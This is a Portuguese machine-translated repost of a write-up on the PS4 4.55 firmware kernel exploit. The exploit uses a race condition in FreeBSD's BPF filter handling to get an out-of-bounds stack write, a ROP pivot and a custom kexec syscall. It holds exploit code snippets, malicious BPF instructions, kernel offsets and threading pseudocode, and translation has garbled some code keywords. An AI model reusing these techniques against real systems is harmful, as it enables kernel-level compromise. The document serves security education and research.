fbpx

Sony Playstation 4 (PS4) – PS4 4.55 BPF – Condição de Corrida – Exploração do Kernel

Sony Playstation 4 (PS4) – PS4 4.55 BPF – Condição de Corrida – Exploração do Kernel

** Nota: Embora esse bug seja principalmente interessante para a exploração no PS4, ele também pode ser potencialmente explorado em outras plataformas não corrigidas usando o FreeBSD se o invasor tiver permissões de leitura / gravação em / dev / bpf ou se desejar escalar de usuário root para execução de código do kernel. Como tal, publiquei-o na pasta “FreeBSD” e não na pasta “PS4″. **

# Introdução
Bem-vindo à parte do kernel da redação completa da cadeia de exploração do PS4 4.55FW. Esse bug foi encontrado pelo qwerty e é bastante exclusivo na maneira como é explorado, então eu queria fazer uma descrição detalhada de como funcionava. A fonte completa da exploração pode ser encontrada [aqui] (https://github.com/Cryptogenic/PS4-4.55-Kernel-Exploit). Anteriormente, eu cobri a implementação de exploração do webkit para acesso à terra do usuário [https://github.com/Cryptogenic/Exploit-Writeups/blob/master/WebKit/setAttributeNodeNS%20UAF%20Write-up.md].

# Retrocesso para 4.05
Se você leu meu artigo de exploração do kernel 4.05, pode ter notado que eu deixei de fora como consegui despejar o kernel antes de obter a execução do código. Eu também deixei de fora o objeto de destino que foi usado antes do objeto `cdev`. Este objeto de destino era de fato, `bpf_d`. Como no momento em que essa exploração envolvendo BPF não era pública e tinha um dia zero, eu a omiti da redação e reescrevi a exploração para usar um objeto totalmente diferente (isso acabou por ser melhor, como `cdev` acabou por ser mais estável de qualquer maneira).

O BPF era um bom objeto de destino para a versão 4.05, além de conter ponteiros de função para iniciar a execução do código, mas também tinha um método para obter uma primitiva de leitura arbitrária que detalharei abaixo. Embora não seja totalmente necessário, é útil que não tenhamos que escrever código de dumper posteriormente. Esta seção não é muito relevante para a exploração do 4.55, por isso vou ser breve, mas fique à vontade para pular esta seção se você se importa apenas com o 4.55.

O objeto `bpf_d` possui campos relacionados aos” slots “para armazenamento de dados. Como esta seção é apenas um petisco para uma exploração mais antiga, incluirei apenas os campos relevantes para esta seção.

[src] (http://fxr.watson.org/fxr/source/net/bpfdesc.h?v=FREEBSD90#L52)
“ c
struct bpf_d {
// …
caddr_t bd_hbuf; / * slot de retenção * / // Offset: 0x18
// …
int bd_hlen; / * comprimento atual do buffer de retenção * / // Offset: 0x2C
// …
int bd_bufsize; / * comprimento absoluto dos buffers * / // Offset: 0x30
// …
}
“ “

Esses slots são usados ​​para armazenar as informações que são enviadas de volta para alguém que `read ()` no descritor de arquivos do bpf. Configurando o deslocamento em 0x18 (`bd_hbuf`) para o endereço do local que queremos despejar, e 0x2C e 0x30 (` bd_hlen` e `bd_bufsize` respectivamente) para qualquer tamanho que escolhermos (para despejar todo o kernel, escolhi 0x2800000), podemos obter uma primitiva arbitrária de leitura do kernel através da chamada do sistema `read ()` no descritor de arquivo bpf e despejar facilmente a memória do kernel.

# FreeBSD ou culpa da Sony? Por que não ambos…
Curiosamente, esse bug é realmente um bug do FreeBSD e não foi (pelo menos diretamente) introduzido pelo código da Sony. Embora esse seja um bug do FreeBSD, no entanto, não é muito útil para a maioria dos sistemas, porque o driver de dispositivo / dev / bpf é de propriedade raiz e as permissões são definidas para 0600 (o que significa que o proprietário possui privilégios de leitura / gravação, e mais ninguém o faz). ) – embora possa ser usado para escalar da execução de código no modo raiz para o kernel. No entanto, vamos dar uma olhada na chamada `make_dev ()` dentro do kernel PS4 para / dev / bpf (tirada de um despejo de kernel 4.05).

“ “
seg000: FFFFFFFFA181F15B lea rdi, unk_FFFFFFFFA2D77640
seg000: FFFFFFFFA181F162 lea r9, aBpf; “bpf”
seg000: FFFFFFFFA181F169 mov esi, 0
seg000: FFFFFFFFA181F16E mov edx, 0
seg000: FFFFFFFFA181F173 xor ecx, ecx
seg000: FFFFFFFFA181F175 mov r8d, 1B6h
seg000: FFFFFFFFA181F17B xor eax, eax
seg000: FFFFFFFFA181F17D mov cs: qword_FFFFFFFFA34EC770, 0
seg000: FFFFFFFFA181F188 chama make_dev
“ “

Vemos o UID 0 (o UID do usuário root) sendo movido para o registro do terceiro argumento, que é o argumento do proprietário. No entanto, os bits de permissão estão sendo configurados para 0x1B6, que em octal é 0666. Isso significa que * qualquer pessoa * pode abrir / dev / bpf com privilégios de leitura / gravação. Não sei por que esse é o caso, qwerty especula que talvez o bpf seja usado para jogos em LAN. De qualquer forma, essa foi uma péssima decisão de design, porque o bpf geralmente é considerado privilegiado e não deve ser acessível a um processo totalmente não confiável, como o WebKit. Na maioria das plataformas, as permissões para / dev / bpf serão definidas como 0x180 ou 0600.

# Condições da corrida – O que são?
A classe do bug abusado nessa exploração é conhecida como “condição de corrida”. Antes de entrarmos em detalhes sobre os bugs, é importante que o leitor entenda o que são as condições de corrida e como elas podem ser um problema (especialmente em algo como um kernel). Geralmente, em softwares complexos (como um kernel), os recursos são compartilhados (ou “globais”). Isso significa que outros threads podem executar código que potencialmente acessará algum recurso que possa ser acessado por outro thread no mesmo momento. O que acontece se um thread acessar esse recurso, enquanto outro thread, sem acesso exclusivo? As condições da corrida são introduzidas.

As condições de corrida são definidas como possíveis cenários em que os eventos acontecem em uma sequência diferente da que o desenvolvedor pretendia, o que leva a um comportamento indefinido. Em programas simples de thread único, isso não é um problema, porque a execução é linear. Em programas mais complexos, nos quais o código pode ser executado em paralelo, isso se torna um problema real. Para evitar esses problemas, instruções atômicas e mecanismos de bloqueio foram introduzidos. Quando um encadeamento deseja acessar um recurso crítico, ele tenta adquirir um “bloqueio”. Se outro encadeamento já estiver usando esse recurso, geralmente o encadeamento que tenta adquirir o bloqueio aguardará até que o outro encadeamento termine com ele. Cada encadeamento deve liberar o bloqueio para o recurso depois que ele terminar, caso contrário, isso poderá resultar em um impasse.

Embora tenham sido introduzidos mecanismos de bloqueio, como mutexes, os desenvolvedores às vezes lutam para usá-los adequadamente. Por exemplo, e se um dado compartilhado for validado e processado, mas enquanto o processamento dos dados estiver bloqueado, a validação não será? Há uma janela entre validação e bloqueio onde esses dados podem mudar e, embora o desenvolvedor pense que os dados foram validados, eles podem ser substituídos por algo malicioso depois de validados, mas antes de serem usados. A programação paralela pode ser difícil, especialmente quando, como desenvolvedor, você também deseja levar em consideração o fato de que não deseja colocar muito código entre o bloqueio e o desbloqueio, pois isso pode afetar o desempenho.

Para obter mais informações sobre condições de corrida, consulte a página da Microsoft [aqui] (https://support.microsoft.com/en-us/help/317723/description-of-race-conditions-and-deadlocks)

# Filtros de pacotes – o que são?
Como o bug está diretamente no sistema de filtros, é importante conhecer o básico sobre o que são filtros de pacotes. Os filtros são essencialmente conjuntos de pseudo-instruções que são analisadas por `bpf_filter ()`. Embora o conjunto de pseudo-instruções seja bastante mínimo, ele permite executar operações aritméticas básicas e copiar valores dentro do buffer. Quebrar a VM BPF em sua totalidade está muito além do escopo deste artigo, apenas saiba que o código produzido por ele é executado no modo ** kernel ** – é por isso que o acesso de leitura / gravação ao `/ dev / bpf `* deve * ser privilegiado.

Você pode fazer referência aos códigos de operação que a BPF VM usa [aqui] (http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995).

# Primitivo fora dos limites de gravação
Se dermos uma olhada no manipulador do mnemônico “STOREX” em `bpf_filter ()`, vemos o seguinte código:

[src] (http://fxr.watson.org/fxr/source/net/bpf_filter.c?v=FREEBSD90#L376)
“ c
u_int32_t mem [BPF_MEMWORDS];
// …
caso BPF_STX:
mem [pc-> k] = X;
continuar;
“ “

Isso é imediatamente interessante para nós, como desenvolvedores de exploração. Se podemos definir `pc-> k` com qualquer valor arbitrário, podemos usar isso para estabelecer uma primitiva de gravação fora dos limites na pilha. Isso pode ser extremamente útil, por exemplo, podemos usar isso para corromper o ponteiro de retorno armazenado na pilha; assim, quando `bpf_filter ()` retornar, podemos iniciar uma cadeia ROP. Isso é perfeito, porque não só é uma estratégia de ataque trivial para implementar, mas também é estável, pois não precisamos nos preocupar com os problemas que normalmente vêm com o esmagamento clássico de pilha / pilha.

Infelizmente, as instruções são executadas através de um validador, portanto, tentar definir `pc-> k` de maneira que fique fora dos limites de` mem` falhará na verificação da validação. Mas e se as instruções maliciosas pudessem ser substituídas na pós-validação? Haveria um problema “hora da verificação, hora do uso” (TOCTOU) presente.

# Corrida, Substituir
## Definindo filtros
Se dermos uma olhada em `bpfioctl ()`, você notará que existem vários comandos para gerenciar a interface, definir propriedades do buffer e, é claro, configurar filtros de leitura / gravação (uma lista desses comandos pode ser encontrada no diretório [Página de manual do FreeBSD] (https://www.freebsd.org/cgi/man.cgi?query=bpf&sektion=4&manpath=FreeBSD+7.1-RELEASE). Se passarmos o comando “BIOSETWF” (observado por 0x8010427B` em nível baixo), você notará que `bpf_setf ()` é chamado para definir um filtro no dispositivo especificado.

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1151)
“ c
case BIOCSETF:
case BIOCSETFNR:
case BIOCSETWF:
#ifdef COMPAT_FREEBSD32
caso BIOCSETF32:
caso BIOCSETFNR32:
caso BIOCSETWF32:
#fim se
erro = bpf_setf (d, (struct bpf_program *) addr, cmd);
pausa;
“ “

Se você observar onde as instruções são copiadas no kernel, também verá que `bpf_validate ()` será executado imediatamente, o que significa que neste momento não podemos especificar um valor `pc-> k` que permita acesso fora dos limites .

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1583)
“ c
// …

size = flen * sizeof (* fp-> bf_insns);
fcode = (struct bpf_insn *) malloc (tamanho, M_BPF, M_WAITOK);

if (copyin ((caddr_t) fp-> bf_insns, (caddr_t) fcode, tamanho) == 0 && bpf_validate (fcode, (int) flen)) {
// …
}

// …
“ “

Falta de propriedade
Analisamos o código que define um filtro, agora vamos dar uma olhada no código que usa um filtro. A função `bpfwrite ()` é chamada quando um processo chama a chamada de sistema `write ()` em um dispositivo bpf válido. Podemos ver isso através da seguinte tabela de funções para o apoio do bpf `cdevsw`:

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L183)
“ c
static static cdevsw bpf_cdevsw = {
.d_version = D_VERSION,
.d_open = bpfopen,
.d_read = bpfread,
.d_write = bpfwrite,
.d_ioctl = bpfioctl,
.d_poll = bpfpoll,
.d_name = “bpf”,
.d_kqfilter = bpfkqfilter,
};
“ “

O objetivo do `bpfwrite ()` é permitir ao usuário escrever pacotes na interface. Quaisquer pacotes passados ​​para `bpfwrite ()` passarão pelo filtro de gravação configurado na interface, que é definido através do IOCTL, detalhado na subseção “Configuração de filtros”.

Primeiro, ele faz algumas verificações de privilégios (que são irrelevantes porque no PS4, qualquer processo não confiável pode gravá-lo com sucesso devido a todos terem permissões de R / W no dispositivo) e configura alguns buffers antes de chamar `bpf_movein ()`.

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L911)
“ c
bzero (& dst, sizeof (dst));
m = NULL;
hlen = 0;
erro = bpf_movein (uio, (int) d-> bd_bif-> bif_dlt, ifp, & m, & dst, & hlen, d-> bd_wfilter);
if (erro) {
d-> bd_wdcount ++;
retorno (erro);
}
d-> bd_wfcount ++;
“ “

Vamos dar uma olhada em `bpf_movein ()`.

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L504)
“ c
* mp = m;

if (m-> m_len <hlen) {
erro = EPERM;
vai mal;
}

erro = uiomove (mtod (m, u_char *), len, uio);
se (erro)
vai mal;

slen = bpf_filter (wfilter, mtod (m, u_char *), len, len);
if (slen == 0) {
erro = EPERM;
vai mal;
}
“ “

Observe que não há absolutamente nenhum bloqueio presente em `bpf_movein ()`, nem em `bpfwrite ()` – o chamador. Portanto, `bpf_filter ()`, a função que executa um determinado programa de filtro no dispositivo, é chamado em um estado desbloqueado. Além disso, o próprio `bpf_filter ()` não faz nenhum bloqueio. Nenhuma propriedade é mantida ou mesmo obtida no processo de execução do filtro de gravação. O que aconteceria se este filtro estivesse livre () ‘d após ser validado via `bpf_setf ()` ao definir o filtro e fosse realocado com instruções inválidas enquanto o filtro estiver em execução? 🙂

Ao executar três threads (um configurando um filtro não malicioso válido, um configurando um filtro malicioso inválido e um tentando gravar continuamente () no bpf), existe um cenário possível (e muito explorável) onde instruções válidas podem ser substituídos por instruções inválidas, e podemos influenciar o `pc-> k` para escrever fora dos limites na pilha.

## Liberando o filtro
Precisamos de um método para liberar () o filtro em outro thread enquanto ele ainda estiver em execução para acionar uma situação de uso após livre (). Observando `bpf_setf ()`, observe que antes de alocar um novo buffer para as instruções de filtro, ele primeiro verificará se há um antigo – se houver, o destruirá.

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523)
“ c
static int bpf_setf (struct bpf_d * d, struct bpf_program * fp, u_long cmd) {
struct bpf_insn * fcode, * antigo;

// …

if (cmd == BIOCSETWF) {
old = d-> bd_wfilter;
filtro = 1;
// …
} outro {
filtro = 0;
old = d-> bd_rfilter;
// …
}

// …

if (antigo! = NULL)
livre ((caddr_t) antigo, M_BPF);

// …

fcode = (struct bpf_insn *) malloc (tamanho, M_BPF, M_WAITOK);

// …

if (wfilter)
d-> bd_wfilter = fcode;
outro {
d-> bd_rfilter = fcode;
// …
if (cmd == BIOCSETF)
reset_d (d);
}
}

// …
}
“ “

Como o `bpf_filter ()` possui uma cópia do `d-> bd_wfilter`, quando estiver livre () em um thread para substituir o filtro, o segundo thread também usará o mesmo ponteiro (que agora é free () ‘ d) resultando em um uso após livre (). O encadeamento que tenta definir um filtro inválido acaba pulverizando o heap como resultado e, eventualmente, será alocado no mesmo endereço. Nossos três threads farão o seguinte:

1) Defina continuamente um filtro com instruções válidas, passando nas verificações de validação.
2) Configure continuamente outro filtro com instruções inválidas, liberando e substituindo as instruções antigas por novas (nossas maliciosas).
3) Escreva continuamente para bpf. Eventualmente, o filtro “válido” será corrompido com a pós-validação inválida e o write () o utilizará, resultando em corrupção de memória. Instruções especialmente criadas podem ser usadas para substituir o endereço de retorno na pilha para obter a execução do código no modo kernel.

# Definindo um programa válido
Primeiramente, precisamos configurar um objeto `bpf_program` para passar ao ioctl () para configurar um filtro. A estrutura do `bpf_program` está abaixo:

[src] (http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L65)
“ c
struct bpf_program {// Tamanho: 0x10
u_int bf_len; // 0x00
struct bpf_insn * bf_insns; // 0x08
};
“ “

É importante notar que `bf_len` não é * o tamanho das instruções do programa em bytes, mas o comprimento. Isso significa que o valor especificado para `bf_len` será o tamanho total de nossas instruções na memória dividido pelo tamanho de uma instrução, que é oito.

[src] (http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L1050)
“ c
struct bpf_insn {// Tamanho: 0x08
código u_short; // 0x00
u_char jt; // 0x02
u_char jf; // 0x03
bpf_u_int32 k; // 0x04
};
“ “

Um programa válido é fácil de escrever, podemos simplesmente escrever um monte de instruções psueod-NOP (sem operação) com uma pseudo-instrução “return” no final. Observando `bpf.h`, podemos determinar que os códigos de operação que podemos usar para um NOP e um RET são 0x00 e 0x06, respectivamente.

[src] (http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995)
“ c
#define BPF_LD 0x00 // Ao especificar 0s para os argumentos, ele efetivamente não faz nada
#define BPF_RET 0x06
“ “

Abaixo está um trecho de código da exploração implementada nas cadeias JS ROP para configurar um programa BPF válido na memória:
“ javascript
// Programa válido de instalação
var bpf_valid_prog = malloc (0x10);
var bpf_valid_instructions = malloc (0x80);

p.write8 (bpf_valid_instructions.add32 (0x00), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x08), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x10), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x18), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x20), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x28), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x30), 0x00000000);
p.write8 (bpf_valid_instructions.add32 (0x38), 0x00000000);
p.write4 (bpf_valid_instructions.add32 (0x40), 0x00000006);
p.write4 (bpf_valid_instructions.add32 (0x44), 0x00000000);

p.write8 (bpf_valid_prog.add32 (0x00), 0x00000009);
p.write8 (bpf_valid_prog.add32 (0x08), bpf_valid_instructions);
“ “

# Definindo um programa inválido
É neste programa que queremos escrever nosso código malicioso que corromperá a memória na pilha quando executado via `write ()`. Este programa é quase tão simples quanto o programa válido, pois contém apenas 9 instruções psuedo. Podemos abusar das instruções “LDX” e “STX” para gravar dados na pilha, carregando primeiro o valor que queremos carregar (32 bits) no registro de índice e armazenando o registro de índice em um índice do que * deveria * como memória de trabalho, no entanto, devido ao fato de as instruções serem inválidas, ele realmente grava fora dos limites e corrompe o ponteiro de retorno da função. Aqui está um resumo das instruções que queremos executar em nosso filtro malicioso:

“ “
LDX X <- {inferior de 32 bits do endereço de dispositivo dinâmico de pilha (pop rsp)}
STX M [0x1E] <- X
LDX X <- {superior de 32 bits do endereço de dispositivo dinâmico de pilha (pop rsp)}
STX M [0x1F] <- X
LDX X <- {menor endereço de pilha falsa de cadeia ROP de 32 bits}
STX M [0x20] <- X
LDX X <- {endereço superior da pilha falsa da cadeia ROP de 32 bits}
STX M [0x21] <- X
RET
“ “

Observe que o tipo de `mem` é do tipo` u_int32_t`, e é por isso que nossas gravações aumentam apenas 1 em vez de 4. Vamos dar uma olhada na definição completa de `mem`:

[src] (http://fxr.watson.org/fxr/source/net/bpf_filter.c?v=FREEBSD90#L178)
“ c
#define BPF_MEMWORDS 16
// …
u_int32_t mem [BPF_MEMWORDS];
“ “

Observe que o buffer é alocado apenas para 58 bytes (16 valores * 4 bytes por valor) – mas nossas instruções estão acessando os índices 30, 31, 32 e 33, que estão obviamente fora dos limites do buffer. Como o filtro foi substituído na pós-validação, nada captura isso e, assim, nasce uma gravação OOB.

O índice 0x1E e 0x1F (30 e 31) é o local na pilha do endereço de retorno. Sobrescrevendo-o com o endereço de um `pop rsp; ret; `gadget e escrevendo o valor que queremos inserir no registro RSP nos índices 0x20 e 0x21 (32 e 33), podemos alternar com êxito a pilha para a pilha falsa da nossa cadeia ROP do kernel para obter a execução do código no ring0 .

! [] (https://i.imgur.com/RmBzWK0.gif)

Abaixo está um trecho de código da exploração para configurar um programa BPF malicioso e inválido na memória:
“ javascript
// Configurar programa inválido
var entry = window.gadgets [“pop rsp”];
var bpf_invalid_prog = malloc (0x10);
var bpf_invalid_instructions = malloc (0x80);

p.write4 (bpf_invalid_instructions.add32 (0x00), 0x00000001);
p.write4 (bpf_invalid_instructions.add32 (0x04), entry.low);
p.write4 (bpf_invalid_instructions.add32 (0x08), 0x00000003);
p.write4 (bpf_invalid_instructions.add32 (0x0C), 0x0000001E);
p.write4 (bpf_invalid_instructions.add32 (0x10), 0x00000001);
p.write4 (bpf_invalid_instructions.add32 (0x14), entry.hi);
p.write4 (bpf_invalid_instructions.add32 (0x18), 0x00000003);
p.write4 (bpf_invalid_instructions.add32 (0x1C), 0x0000001F);
p.write4 (bpf_invalid_instructions.add32 (0x20), 0x00000001);
p.write4 (bpf_invalid_instructions.add32 (0x24), kchainstack.low);
p.write4 (bpf_invalid_instructions.add32 (0x28), 0x00000003);
p.write4 (bpf_invalid_instructions.add32 (0x2C), 0x00000020);
p.write4 (bpf_invalid_instructions.add32 (0x30), 0x00000001);
p.write4 (bpf_invalid_instructions.add32 (0x34), kchainstack.hi);
p.write4 (bpf_invalid_instructions.add32 (0x38), 0x00000003);
p.write4 (bpf_invalid_instructions.add32 (0x3C), 0x00000021);
p.write4 (bpf_invalid_instructions.add32 (0x40), 0x00000006);
p.write4 (bpf_invalid_instructions.add32 (0x44), 0x00000001);

p.write8 (bpf_invalid_prog.add32 (0x00), 0x00000009);
p.write8 (bpf_invalid_prog.add32 (0x08), bpf_invalid_instructions);
“ “

# Criando e vinculando dispositivos
Para configurar a parte corrompida da corrida, precisamos abrir duas instâncias do / dev / bpf. Em seguida, os vincularemos a uma interface válida – a interface que você vincula aos assuntos, dependendo de como o sistema estiver conectado à rede. Se for uma conexão com fio (ethernet), convém vincular à interface “eth0”, se estiver conectado via wifi, vincule à interface “wlan0”. A exploração determina automaticamente qual interface usar executando um teste. O teste tenta essencialmente `write ()` na interface fornecida, se for inválido, `write ()` falhará e retornará -1. Se isso ocorrer após a ligação à interface “eth0”, a exploração tentará religar a “wlan0” e verificará novamente. Se `write ()` retornar -1, a exploração falha e relata que falhou ao ligar o dispositivo.

“ javascript
// Abra o primeiro dispositivo e ligue
var fd1 = p.syscall (“sys_open”, stringify (“/ dev / bpf”), 2, 0); // 0666 permissões, abertas como O_RDWR

p.syscall (“sys_ioctl”, fd1, 0x8020426C, stringify (“eth0”)); // 8020426C = BIOCSETIF

if (p.syscall (“sys_write”, fd1, spadp, 40) .low == (-1 >>> 0)) {
p.syscall (“sys_ioctl”, fd1, 0x8020426C, stringify (“wlan0”));

if (p.syscall (“sys_write”, fd1, spadp, 40) .low == (-1 >>> 0)) {
throw “Falha ao ligar ao primeiro dispositivo / dev / bpf!”;
}
}
“ “

O mesmo processo é repetido para o segundo dispositivo.

# Definindo filtros em paralelo
Para causar corrupção de memória, precisamos de dois threads em paralelo, que continuamente definem filtros em seus próprios dispositivos. Eventualmente, o filtro válido será liberado (), realocado e corrompido com o filtro inválido. Para fazer isso, cada thread basicamente faz o seguinte (pseudo-código):

“ c
// 0x8010427B = BIOCSETWF
void threadOne () // Define um programa válido
{
para(;;)
{
ioctl (fd1, 0x8010427B, bpf_valid_program);
}
}

void threadTwo () // Define um programa inválido
{
para(;;)
{
ioctl (fd2, 0x8010427B, programa bpf_invalid);
}
}
“ “

# Disparando a execução de código
Portanto, podemos corromper os filtros e substituí-los em nossas instruções inválidas, mas precisamos que o filtro seja executado para acionar a execução do código por meio do endereço de retorno corrompido. Como estamos definindo um filtro “write”, o `bpfwrite ()` é um candidato perfeito para fazer isso. Isso significa que precisamos de um terceiro thread para executar que constantemente `escreva ()` no primeiro dispositivo bpf. Quando o filtro eventualmente for corrompido, o próximo `write ()` executará o filtro inválido, causando a corrupção da memória da pilha e saltará para qualquer endereço especificado, permitindo-nos (razoavelmente trivialmente) obter a execução do código no ring0.

“ c
void threadThree () // Tenta acionar a execução do código
{
vazio * zero = (vazio *) malloc (0x200);

para(;;)
{
uint64_t n = gravação (fd1, zero, 0x200);

if (n == 0x200))
{
pausa;
}
}
}
“ “

# Instalando um syscall “kexec ()”
Nosso objetivo final com a cadeia kROP é instalar uma chamada de sistema personalizada que executará o código no modo kernel. Para manter as coisas consistentes com a 4.05, novamente usaremos o syscall # 11. A assinatura do syscall será a seguinte:

“ c
sys_kexec (código void *, void * uap);
“ “

Isso é bastante trivial, basta adicionar uma entrada na tabela `sysent`. Uma entrada na tabela `sysent` segue a seguinte estrutura:

[src] (http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56)
“ c
struct sysent {/ * tabela de chamada do sistema * /
int sy_narg; / * número de argumentos * /
sy_call_t * sy_call; / * função de implementação * /
au_event_t sy_auevent; / * evento de auditoria associado ao syscall * /
systrace_args_func_t sy_systrace_args_func;
/ * função de conversão de argumento opcional. * /
u_int32_t sy_entry; / * ID de entrada do DTrace para systrace. * /
u_int32_t sy_return; / * ID de retorno do DTrace para systrace. * /
u_int32_t sy_flags; / * Sinalizadores gerais para chamadas do sistema. * /
u_int32_t sy_thrcnt;
};
“ “

Nossos principais pontos de interesse são `sy_narg` e` sy_call`. Queremos definir `sy_narg` como 2 (um para o endereço executar, o segundo para passar argumentos). O membro `sy_call` que queremos definir como um gadget que` jmp` será registrado no RSI, já que o endereço do código a ser executado será passado pelo RDI (lembre-se, enquanto o primeiro argumento normalmente é passado no RDI) registre, em syscalls, o RDI é ocupado pelo descritor de encadeamento `td`). Um dispositivo `jmp qword ptr [rsi]` faz o que precisamos e pode ser encontrado no kernel no deslocamento `0x13a39f`.

“ “
CARGA: FFFFFFFF8233A39F FF 26 jmp qword ptr [rsi]
“ “

Em um dump do kernel 4.55, podemos ver o deslocamento para a entrada `sysent` do syscall 11 é` 0xC2B8A0`. Como você pode ver, a função de implementação é `nosys ‘, por isso é perfeitamente aceitável sobrescrever.

“ “
_61000010: FFFFFFFF8322B8A0 dq 0; Syscall # 11
_61000010: FFFFFFFF8322B8A8 nosys de deslocamento dq
_61000010: FFFFFFFF8322B8B0 dq 0
_61000010: FFFFFFFF8322B8B8 dq 0
_61000010: FFFFFFFF8322B8C0 dq 0
_61000010: FFFFFFFF8322B8C8 dq 400000000h
“ “

Escrevendo `2` para` 0xC2B8A0`, `[base do kernel + 0x13a39f]` para `0xC2B8A8` e` 100000000` para `0xC2BBC8` (queremos alterar os sinalizadores de` SY_THR_ABSENT` para `SY_THR_STATIC`), podemos insira com sucesso uma chamada de sistema personalizada que executará qualquer código fornecido no modo kernel!

# “Patch” da Sony
O cabeçalho da seção é uma mentira. A Sony realmente não corrigiu esse problema, no entanto, eles sabiam que algo estranho estava acontecendo com o BPF quando um despejo de acidente acidentalmente chegou aos servidores da Sony devido a um pânico no kernel. Através de um simples rastreamento de pilha, eles determinaram que o endereço de retorno de `bpfwrite ()` estava corrompido. A Sony não conseguia descobrir como, então eles decidiram retirar completamente o `bpfwrite ()` do kernel – o #SonyWay. Felizmente para eles, depois de muitas horas de pesquisa, parece que não há outras primitivas úteis para alavancar a corrupção do filtro; portanto, o bug está infelizmente morto.

Pré-Patch BPF cdevsw:
“ “
bpf_devsw dd 17122009h; d_version
; DADOS XREF: sub_FFFFFFFFA181F140 + 1B ↑ o
dd 80000000h; d_flags
dq 0FFFFFFFFA1C92250h; d_name
dq 0FFFFFFFFA181F1B0h; d_open
dq 0; d_fdopen
dq 0FFFFFFFFA16FD1C0h; d_close
dq 0FFFFFFFFA181F290h; d_read
dq 0FFFFFFFFA181F5D0h; d_write
dq 0FFFFFFFFA181FA40h; d_ioctl
dq 0FFFFFFFFA1820B30h; d_poll
dq 0FFFFFFFFA16FF050h; d_mmap
dq 0FFFFFFFFA16FF970h; d_strategy
dq 0FFFFFFFFA16FF050h; d_dump
dq 0FFFFFFFFA1820C90h; d_kqfilter
dq 0; d_purge
dq 0FFFFFFFFA16FF050h; d_mmap_single
dd -5E900FB0h, -1, 0; d_spare0
dd 3 dup (0); d_spare1
dq 0; d_devs
dd 0; d_spare2
dq 0; gianttrick
dq 4EDE80000000000h; postfree_list
“ “

Pós-patch BPF cdevsw:
“ “
bpf_devsw dd 17122009h; d_version
; DADOS XREF: sub_FFFFFFFF9725DB40 + 1B ↑ o
dd 80000000h; d_flags
dq 0FFFFFFFF979538ACh; d_name
dq 0FFFFFFFF9725DBB0h; d_open
dq 0; d_fdopen
dq 0FFFFFFFF9738D230h; d_close
dq 0FFFFFFFF9725DC90h; d_read
dq 0h; d_write
dq 0FFFFFFFF9725E050h; d_ioctl
dq 0FFFFFFFF9725F0B0h; d_poll
dq 0FFFFFFFF9738F050h; d_mmap
dq 0FFFFFFFF9738F920h; d_strategy
dq 0FFFFFFFF9738F050h; d_dump
dq 0FFFFFFFF9725F210h; d_kqfilter
dq 0; d_purge
dq 0FFFFFFFF9738F050h; d_mmap_single
dd 9738F050h, 0FFFFFFFFh, 0; d_spare0
dd 3 dup (0); d_spare1
dq 0; d_devs
dd 0; dev_spare2
dq 0; gianttrick
dq 51EDE0000000000h; postfree_list
“ “

Observe que os dados para `d_write` não são mais um ponteiro de função válido.

# Conclusão
Este foi um bug muito interessante para explorar e escrever. Embora o bug não seja incrivelmente útil na maioria dos outros sistemas, pois não pode ser explorado por um usuário sem privilégios, ele ainda é válido como um método de passar da execução do código raiz para o ring0. Eu pensei que isso seria um bug legal para escrever (além disso, eu amo escrevê-los de qualquer maneira), pois a estratégia de ataque é bastante única (usando uma condição de corrida para disparar uma gravação fora dos limites na pilha). Também é uma exploração bastante trivial de implementar, e a estratégia de sobrescrever o ponteiro de retorno na pilha é um método fácil para aprender a entender os pesquisadores de segurança. Ele também destaca como, embora uma estratégia de ataque possa ser antiga, talvez essa seja a mais antiga que existe – elas ainda podem ser aplicadas na exploração moderna com pequenas variações.

# Créditos
[qwertyoruiopz] (https://twitter.com/qwertyoruiopz)

# Referências
[Referência cruzada do kernel do Watson FreeBSD] (http://fxr.watson.org/fxr/source/?v=FREEBSD90)

[Suporte da Microsoft: Descrição das condições da corrida e dos conflitos] (https://support.microsoft.com/en-us/help/317723/description-of-race-conditions-and-deadlocks)

 

29 de outubro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.